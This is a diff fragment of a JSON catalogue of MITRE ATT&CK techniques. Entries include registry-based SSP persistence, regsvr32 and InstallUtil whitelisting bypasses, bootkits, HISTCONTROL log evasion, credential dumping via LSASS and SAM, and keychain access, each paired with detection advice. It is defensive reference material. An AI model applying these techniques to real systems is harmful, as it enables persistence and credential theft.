2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1015", - "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", - "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", - "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" - ], - "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3" - }, - "value": "Accessibility Features" - }, - { - "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to [[Command and Control]] and possible network [[Discovery]] techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1080" - ], - "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c" - }, - "value": "Taint Shared Content" - }, - { - "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services.\n\nAdversaries may use remote services to access and persist within a network.Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nContributors: Daniel Oakley", - "meta": { - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1133", - "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" - ], - "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d" - }, - "value": "External Remote Services" - }, - { - "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process use of network, Process monitoring", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1017" - ], - "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" - }, - "value": "Application Deployment Software" - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Data loss prevention, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Data loss prevention", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1119" - ], - "uuid": "30208d3e-0d6b-43c8-883e-44462a514619" - }, - "value": "Automated Collection" - }, - { - "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n[[Citation: Graeber 2014]]\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs", - "meta": { - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1101", - "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", - "https://technet.microsoft.com/en-us/library/dn408187.aspx" - ], - "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446" - }, - "value": "Security Support Provider" - }, - { - "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable", - "meta": { - "mitre_data_sources": [ - "Process Monitoring", - "Authentication logs", - "File monitoring", - "Environment variable" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1148" - ], - "uuid": "b2a23bbd-1a12-4e1e-a985-b0cad55a5c91" - }, - "value": "HISTCONTROL" + "value": "Regsvcs/Regasm" }, { "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", @@ -4477,46 +4653,13 @@ "value": "Rundll32" }, { - "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, Address Resolution Protocol (ARP) and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow", + "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries.[[Citation: Microsoft Regsvr32]]\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.[[Citation: SubTee Regsvr32 Whitelisting Bypass]] This variation of the technique has been used in campaigns targeting governments.[[Citation: FireEye Regsvr32 Targeting Mongolian Gov]]\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry, Process command-line parameters\n\nContributors: Casey Smith", "meta": { "mitre_data_sources": [ - "Network device logs", - "Host network interface", - "Netflow/Enclave netflow" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1040" - ], - "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529" - }, - "value": "Network Sniffing" - }, - { - "description": "A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.[[Citation: AddMonitor]] This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot.[[Citation: Bloxham]] Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.[[Citation: Bloxham]] The spoolsv.exe process also runs under SYSTEM level permissions.\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to AddMonitor.\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism[[Citation: TechNet Autoruns]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "API monitoring", - "DLL monitoring", + "Loaded DLLs", + "Process monitoring", "Windows Registry", - "Process monitoring" + "Process command-line parameters" ], "mitre_platforms": [ "Windows Server 2003", @@ -4533,22 +4676,76 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1013", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "http://msdn.microsoft.com/en-us/library/dd183341", - "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf" + "https://attack.mitre.org/wiki/Technique/T1117", + "https://support.microsoft.com/en-us/kb/249873", + "https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html", + "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html" ], - "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125" + "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a" }, - "value": "Local Port Monitor" + "value": "Regsvr32" }, { - "description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters", + "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python [[Citation: Macro Malware Targets Macs]]. Scripts can be run from the command lie via osascript /path/to/script or osascript -e \"script here\".\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: MacOS, OS X\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "System calls", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1155", + "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/" + ], + "uuid": "5c4c4c35-d77a-4f2d-88b6-7da63e1f0f06" + }, + "value": "AppleScript" + }, + { + "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).[[Citation: MTrends 2016]]\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.[[Citation: Lau 2011]]\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, MBR, VBR", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "MBR", + "VBR" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1067", + "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf", + "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion" + ], + "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + "value": "Bootkit" + }, + { + "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable", "meta": { "mitre_data_sources": [ "Process Monitoring", + "Authentication logs", "File monitoring", - "Process command-line parameters" + "Environment variable" ], "mitre_platforms": [ "Linux", @@ -4556,70 +4753,11 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1153" + "https://attack.mitre.org/wiki/Technique/T1148" ], - "uuid": "d1be72cb-6893-4ca4-82d2-0c58f7dafde4" + "uuid": "b2a23bbd-1a12-4e1e-a985-b0cad55a5c91" }, - "value": "Source" - }, - { - "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available,[[Citation: Wikipedia Exe Compression]] but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Binary file metadata", - "meta": { - "mitre_data_sources": [ - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1045", - "http://en.wikipedia.org/wiki/Executable%20compression" - ], - "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88" - }, - "value": "Software Packing" - }, - { - "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1010" - ], - "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830" - }, - "value": "Application Window Discovery" + "value": "HISTCONTROL" }, { "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware.Rootkit functionality to hide its existence from the guest operating system.[[Citation: Myers 2007]] A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present.[[Citation: virtualization.info 2006]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: System calls", @@ -4653,12 +4791,10 @@ "value": "Hypervisor" }, { - "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped.Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective DLL Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,[[Citation: Powersploit]] which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring, PowerShell logs, Process command-line parameters", + "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.[[Citation: MSDN InstallUtil]] InstallUtil is located in the .NET directory on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe.InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nContributors: Casey Smith", "meta": { "mitre_data_sources": [ - "API monitoring", "Process monitoring", - "PowerShell logs", "Process command-line parameters" ], "mitre_platforms": [ @@ -4676,87 +4812,60 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1003", - "https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa", - "https://github.com/mattifestation/PowerSploit" + "https://attack.mitre.org/wiki/Technique/T1118", + "https://msdn.microsoft.com/en-us/library/50614e95.aspx", + "https://github.com/subTee/AllTheThings" ], - "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b" }, - "value": "Credential Dumping" + "value": "InstallUtil" }, { - "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture", + "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/.[[Citation: Wikipedia keychain]] The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault.[[Citation: External to DA, the OS X Way]] By default, the passphrase for the keychain is the user’s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: MacOS, OS X\n\nData Sources: System calls, Process Monitoring", "meta": { "mitre_data_sources": [ - "Host network interface", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture" + "System calls", + "Process Monitoring" ], 